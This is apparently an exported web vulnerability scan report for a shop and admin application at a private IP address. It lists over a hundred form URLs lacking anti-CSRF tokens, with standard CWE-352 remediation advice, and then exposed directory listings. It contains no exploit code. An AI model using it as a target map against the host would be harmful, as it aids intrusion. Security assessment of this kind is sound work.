URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user_type.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages_box.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/asset.php

Method GET
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Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence <form action="print_products.php" target="my-iframe" class="form-horizontal" method="
post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <form action="print_orders.php" target="my-iframe" class="form-horizontal" method="post">

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <form action="backup.php" method="post">

URL http://192.168.1.10:80//forgotpass.php

Method GET
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Attack

Evidence <form action="mail.php" method="post">

URL http://192.168.1.10:80//product_details.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10:80//product_details.php

Method GET

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post">

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php

Method GET

Attack
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Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <form method="post">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php

Method GET

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/

Method POST

Attack

Evidence <form method="post">
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URL http://192.168.1.10/admin/

Method POST

Attack

Evidence <form class="form col-md-12 center-block" method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence <form action="Delete_Customer.php" method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
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Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1


Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack
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Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence <form method="post">
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URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php
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Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence <form method="POST" action="delete_product.php">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2


Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack
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Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">
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URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence <form class="form-horizontal" method="post" role="form" enctype="multipart/form-data">

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence <form class="form col-md-12 center-block" method="post">

URL http://192.168.1.10/index.php
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Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/login.php

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=2

Method POST
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Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack
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Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence <form class="form-horizontal qtyFrm">

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence <form method="post">
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URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence <form method="POST">

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence <form method="post">

URL http://192.168.1.10/products.php?page=3

Method POST

Attack

Evidence <form method="POST">

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence <form class="form-horizontal loginFrm" method="post">

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence <form class="form-horizontal" method="post">

Instances 352

Phase: Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides 
constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard.
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Solution

Phase: Implementation

Ensure that your application is free of cross-site scripting issues, because most CSRF 
defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce 
upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS.

Identify especially dangerous operations. When the user performs a dangerous operation, 
send a separate confirmation request to ensure that the user intended to perform that 
operation.

Note that this can be bypassed using XSS.

Use the ESAPI Session Management control.

This control includes a component for CSRF.

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. 
This could break legitimate functionality, because users or proxies may have disabled 
sending the Referer for privacy reasons.

Reference  http://projects.webappsec.org/Cross-Site-Request-Forgery
http://cwe.mitre.org/data/definitions/352.html

CWE Id 352

WASC Id 9

Plugin Id 10202

Medium Application Error Disclosure

Description

This page contains an error/warning message that may disclose sensitive information like 
the location of the file that produced the unhandled exception. This information can be used 
to launch further attacks against the web application. The alert could be a false positive if 
the error message is found inside a documentation page.
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http://192.168.1.10/admin/ADMIN/SERVER/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/css/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=D;O=D


Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=M;O=A

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=M;O=A


Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=D;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=D;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=D

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/admin/ADMIN/SERVER/js/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/?C=S;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=D


URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=D

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/

Method GET

Attack

Evidence Parent Directory

